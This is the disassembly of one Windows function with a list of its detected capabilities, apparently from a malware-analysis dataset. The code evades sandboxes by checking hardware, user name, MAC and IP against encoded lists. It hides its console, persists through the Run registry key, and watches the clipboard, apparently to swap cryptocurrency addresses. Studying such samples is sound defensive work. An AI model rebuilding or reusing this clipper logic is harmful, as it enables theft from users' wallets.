Function at 0x140025050
Capabilities:
Get mac address on windows
Get session user name
Open clipboard
Persist via run registry key
Read clipboard data
Set registry value
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x410
movaps xmmword [rax - 0x38], xmm6
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140052080]
xor rax, rsp
mov qword [rbp + 0x390], rax
xor r13d, r13d
lea rcx, [rbp + 0x150]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
lea r9, str.00000000___0000___0000___0000___000000000000
lea r10, [0x140052938]
nop dword [rax + rax]
mov r8, qword [r9]
lea rax, [rbp + 0x154]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400250d3
inc rax
test ecx, ecx
jne 0x1400250c0
test edx, edx
je 0x140026408
add r9, 8
cmp r9, r10
jne 0x1400250b0
mov dword [rbp + 0xe0], 0x101
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x280]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
movabs rcx, 0x13b461b2c94bff57
movabs rdx, 0x9c67883b140717ac
mov r8, 0xffffffffffffffff
test eax, eax
je 0x140025155
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r13
mov qword [rbp + 0x120], r13
lea rax, [rbp + 0x280]
inc r8
cmp byte [rax + r8], r13b
jne 0x140025140
lea rdx, [rbp + 0x280]
jmp 0x140025203
movabs rax, 0x46da16dda7209102
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x9c67883b147572df
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0xa0], rcx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0xa0], rdx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x1d8], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
xorps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0x1e0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r13
mov qword [rbp + 0x120], r13
lea rax, [rbp + 0x1e0]
inc r8
cmp byte [rax + r8], r13b
jne 0x1400251f3
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x108]
call fcn.140024a20
nop
lea rdi, [0x140058450]
mov r14, qword [rbp + 0x120]
mov r15, qword [rbp + 0x118]
mov r12, qword [rbp + 0x108]
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xe8]
call fcn.1400273d0
lea rdx, [rbp + 0x108]
cmp r14, 0xf
cmova rdx, r12
lea rcx, [rbp + 0xe8]
mov rbx, qword [rbp + 0xe8]
mov rsi, qword [rbp + 0x100]
cmp rsi, 0xf
cmova rcx, rbx
mov r8, qword [rbp + 0xf8]
cmp r8, r15
jne 0x140025284
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140025333
cmp rsi, 0xf
jbe 0x1400252bb
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400252b3
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002533c
mov rcx, rbx
call fcn.140034c00
add rdi, 0x20
lea rax, [0x140059f10]
cmp rdi, rax
jne 0x140025230
mov dword [rbp + 0xe0], 0x2c0
mov ecx, send
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
mov ecx, 0x2c0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
jne 0x140025343
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r8 + r13], 0
jne 0x140025322
xor edx, edx
jmp 0x14002545d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, [rbp + 0xe0]
mov rcx, rsi
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x1400253b1
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [rbp + 0xe0]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
jne 0x1400253b1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r8 + r13], 0
jne 0x1400253a0
xor edx, edx
jmp 0x14002545d
lea rdx, [rbp + 0xe0]
mov rcx, rsi
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x140025425
mov rbx, rsi
nop dword [rax + rax]
movzx eax, byte [rbx + 0x19d]
movzx ecx, byte [rbx + 0x19c]
movzx edx, byte [rbx + 0x19b]
movzx r10d, byte [rbx + 0x19a]
movzx r9d, byte [rbx + 0x199]
movzx r8d, byte [rbx + 0x198]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r10d
lea rdx, str._02X:_02X:_02X:_02X:_02X:_02X
mov rcx, rdi
call fcn.140009c00
mov rbx, qword [rbx]
test rbx, rbx
jne 0x1400253d0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140025450
mov rdx, rdi
lea rcx, [rbp + 0xe8]
call fcn.140024a20
nop
lea rdi, [0x140054d50]
mov r14, qword [rbp + 0x100]
mov r15, qword [rbp + 0xf8]
mov r12, qword [rbp + 0xe8]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xc0]
call fcn.1400273d0
lea rdx, [rbp + 0xe8]
cmp r14, 0xf
cmova rdx, r12
lea rcx, [rbp + 0xc0]
mov rbx, qword [rbp + 0xc0]
mov rsi, qword [rbp + 0xd8]
cmp rsi, 0xf
cmova rcx, rbx
mov r8, qword [rbp + 0xd0]
cmp r8, r15
jne 0x1400254e4
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140025641
cmp rsi, 0xf
jbe 0x14002551b
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140025513
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002564a
mov rcx, rbx
call fcn.140034c00
add rdi, 0x20
lea rax, [0x1400583f0]
cmp rdi, rax
jne 0x140025490
lea rcx, [rbp + 0x128]
call fcn.140024b50
nop
lea rdi, str.10.200.169.204
mov r14, qword [rbp + 0x140]
mov r15, qword [rbp + 0x138]
mov r12, qword [rbp + 0x128]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xc0]
call fcn.1400273d0
lea rdx, [rbp + 0x128]
cmp r14, 0xf
cmova rdx, r12
lea rcx, [rbp + 0xc0]
mov rbx, qword [rbp + 0xc0]
mov rsi, qword [rbp + 0xd8]
cmp rsi, 0xf
cmova rcx, rbx
mov r8, qword [rbp + 0xd0]
cmp r8, r15
jne 0x1400255b4
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14002567a
cmp rsi, 0xf
jbe 0x1400255e7
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400255df
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025651
mov rcx, rbx
call fcn.140034c00
add rdi, 0x20
lea rax, [0x140053fe0]
cmp rdi, rax
jne 0x140025560
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm6, xmmword [0x1400583f0]
movups xmmword [rbp + 0x1d0], xmm6
lea rcx, [rbp + 0x1d0]
call fcn.140024150
nop
psrldq xmm6, 8
movq rcx, xmm6
and ecx, 0x400000
je 0x140025658
test ax, ax
setne bl
jmp 0x14002565f
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp ax, 0x64
setae bl
lea rcx, [rbp + 0x1d0]
call fcn.1400244d0
mov edx, r13d
movzx ecx, bl
test al, al
cmove edx, ecx
test dl, dl
je 0x140025683
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14000dc00
mov r8d, 0x104
lea rdx, [rbp + 0x280]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140025725
lea rcx, [rbp + 0x280]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400256e0
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x280]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str._77OnlineClientPackager.exe
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.14000e220
lea rax, [rbp + 0x1e0]
mov qword [rbp], rax
movabs rax, 0x76d900dcbb2e8c02
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x10], rax
movabs rax, 0x9c67883b14073796
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x18], rax
movabs rdi, 0x13b461b2c94bff57
mov qword [rbp + 0xa0], rdi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x1d0], rax
movabs rsi, 0x9c67883b140717ac
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x1d8], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0x10], xmm0
lea r8, [rbp + 0x108]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x1e0]
call fcn.140028050
mov rbx, rax
movabs rax, 0x76dd0df1e93c9a19
mov qword [rbp + 0xa0], rax
mov rcx, qword [rbp + 0xa0]
mov qword [rbp + 0xc0], rcx
movabs rax, 0xf909e654572763c2
mov qword [rbp + 0xa0], rax
mov rcx, qword [rbp + 0xa0]
mov qword [rbp + 0xc8], rcx
movabs rax, 0xbe4c78368298b3f2
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xd0], rax
movabs rcx, 0xbf3cb1a1496593ae
mov qword [rbp + 0xa0], rcx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xa0], rdi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x228], rax
movabs rax, 0xbe4c7818e6fdc791
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0xa0], rcx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x238], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0xc0], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x218], r13
lea rax, [rbp + 0xc0]
mov r8, 0xffffffffffffffff
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x1400258f3
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x200]
call fcn.140024a20
nop
mov rdx, rbx
lea rcx, [rbp + 0x200]
call fcn.14000b350
lea rcx, [rbp + 0xa0]
call fcn.14000db20
movabs r12, 0x4e94914f0000
mov r15, qword [rbp]
mov rax, qword [rbp + 0xa0]
lea r14, [0x140053fe0]
movabs r9, 0x7fffffffff67697f
mov esi, 0xff
movabs rdx, 0x7fffffffffffffff
mov rcx, rax
cmp rax, r9
lea rbx, [rax + 0x989680]
jl 0x140025973
mov rbx, rdx
movabs r13, 0x431bde82d7b634db
nop dword [rax]
lea rcx, [rbp + 0x20]
call fcn.14000db20
mov rax, qword [rbp + 0x20]
cmp rbx, rax
je 0x1400259e1
mov ecx, 1
cmovl ecx, esi
test cl, cl
jle 0x1400259e1
mov rcx, rbx
sub rcx, rax
cmp rcx, r12
jge 0x1400259d5
mov rax, r13
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x1400259cc
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x140025980
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x140025980
cmp byte [0x140054d14], 0
mov r13d, 0
movabs rsi, 0xbf3cb1a1496593ae
je 0x140025ae0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x74c103d7ad10df5d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0xfd09ed1b2a2a37f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xbe4c78398298abf3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x13b461b2c94bff57
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x9c67883b140717ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xbe4c7818e6fdc791
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0xc0], ymm1
lea rdx, [rbp + 0xc0]
vzeroupper
call fcn.140028310
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140025b52
mov ecx, 7
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x140025b22
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.140024a20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
lea r15, [rbp + 0xc0]
jmp 0x140025b5b
cmp r14, r15
je 0x140025bdb
mov rdx, qword [0x140053ff8]
cmp rdx, 0xf
jbe 0x140025b9c
inc rdx
mov rcx, qword [0x140053fe0]
cmp rdx, 0x1000
jb 0x140025b97
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400263e0
mov rcx, r8
call fcn.140034c00
mov qword [0x140053ff0], r13
mov qword [0x140053ff8], 0xf
mov byte [0x140053fe0], r13b
movups xmm0, xmmword [r15]
movups xmmword [0x140053fe0], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [0x140053ff0], xmm1
mov qword [r15 + 0x10], r13
mov qword [r15 + 0x18], send
mov byte [r15], r13b
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140025c1c
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025c17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400263e0
call fcn.140034c00
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], send
mov byte [rbp + 0xc0], r13b
movabs rdi, 0x13b461b2c94bff57
cmp byte [0x140054d14], r13b
je 0x140025d4f
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x67cc04e6ba10df5d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x9c67881b2a2a37f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x9c67883b140717ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x1d0], xmm0
mov r8, r14
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xc0]
call fcn.140028050
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140025ce9
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.14002b200
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140025d36
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025d31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400263e7
call fcn.140034c00
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], send
mov byte [rbp + 0xc0], 0
mov rdx, r14
lea rcx, [rbp + 0xc0]
call fcn.1400273d0
mov rcx, rax
call fcn.14000c9e0
test al, al
je 0x140025d71
mov ebx, 1
jmp 0x140025d9d
call fcn.14000d200
test al, al
je 0x140025d81
mov ebx, 2
jmp 0x140025d9d
call fcn.14000d440
test al, al
je 0x140025d91
mov ebx, 3
jmp 0x140025d9d
call fcn.14000d850
neg al
sbb ebx, ebx
and ebx, 5
mov dword [0x140054d10], ebx
cmp byte [0x140054d14], 0
je 0x140025e9d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x63cd13f1a010df5d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0xe806e5497b4178d8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xbe4c7838d8d0e7cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x9c67883b140717ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xbe4c7818e6fdc791
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0xc0], ymm1
lea rdx, [rbp + 0xc0]
vzeroupper
call fcn.140028310
mov edx, dword [0x140054d10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov ebx, dword [0x140054d10]
cmp ebx, 5
jne 0x140026050
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], r13
mov rdi, qword [0x140053ff0]
mov rsi, r14
cmp qword [0x140053ff8], 0xf
cmova rsi, qword [0x140053fe0]
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140026402
cmp rdi, 0xf
ja 0x140025f12
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xd8], send
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0xc0], xmm0
jmp 0x140025fad
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x140025f31
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140025f62
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140025f4c
mov rax, r13
jmp 0x140025f89
cmp rcx, 0x1000
jb 0x140025f84
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400263f5
mov rcx, rax
call fcn.140034c08
mov rcx, rax
test rax, rax
je 0x1400263ee
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140025f89
call fcn.140034c08
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xd8], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0xc0]
mov qword [rbp], rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x28]
call fcn.1400273d0
mov rcx, rax
call fcn.14000a030
lea r8, [0x14003bab8]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x28]
call fcn.1400281b0
mov rcx, rax
call fcn.14000c5b0
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140026031
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002602c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400263fb
call fcn.140034c00
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], send
mov byte [rbp + 0xc0], 0
mov ebx, dword [0x140054d10]
lea rdx, [0x140058400]
cmp qword [0x140058418], 0xf
cmova rdx, qword [0x140058400]
mov rcx, r14
mov rsi, qword [0x140053fe0]
mov r14, qword [0x140053ff8]
cmp r14, 0xf
cmova rcx, rsi
mov rdi, qword [0x140053ff0]
cmp rdi, qword [0x140058410]
jne 0x1400260a0
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400263cf
lea rdx, [0x140058420]
cmp qword [0x140058438], 0xf
cmova rdx, qword [0x140058420]
lea rcx, [0x140053fe0]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, qword [0x140058430]
jne 0x1400260df
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400263cf
lea rdx, [0x140059f20]
cmp qword [0x140059f38], 0xf
cmova rdx, qword [0x140059f20]
lea rcx, [0x140053fe0]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, qword [0x140059f30]
jne 0x14002611e
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400263cf
test ebx, ebx
je 0x1400263cf
cmp ebx, 5
je 0x1400263cf
cmp ebx, 1
jne 0x14002613d
lea rdx, [0x140058400]
jmp 0x140026157
cmp ebx, 2
jne 0x14002614b
lea rdx, [0x140058420]
jmp 0x140026157
cmp ebx, 3
jne 0x140026168
lea rdx, [0x140059f20]
lea rcx, [rbp + 0x28]
call fcn.1400273d0
mov rcx, rax
call fcn.14000c5b0
lea rax, [rbp + 0x28]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x33d004dbb9249c77
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xf915ec5f752779cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xca6c1c7687ddb4e2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xcd58d5c06911f2c6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x6ea08c81cc79be7e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x8c193e4f652324a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rdx, 0x6dbbab5ce8951d25
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs r8, 0x91dac9f581676642
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rdi, 0x13b461b2c94bff57
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rsi, 0x9c67883b140717ac
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xbe4c7818e6fdc791
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rcx, 0xbf3cb1a1496593ae
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0x4ed4e3e6ec0acd1b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0xad7d5b3f154a48c0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0x80], ymm1
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x28]
vzeroupper
call fcn.1400281b0
mov rbx, rax
movabs rax, 0x63dd0df1e93c9a19
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x10], rcx
movabs rax, 0x9c67883b1407178d
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x18], rcx
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x10], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], r13
lea rax, [rbp + 0x10]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400263a5
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xc0]
call fcn.140024a20
nop
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.14000b350
lea rcx, [rbp + 0xa0]
call fcn.14000db20
jmp 0x14002593a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009d60
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009e00
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3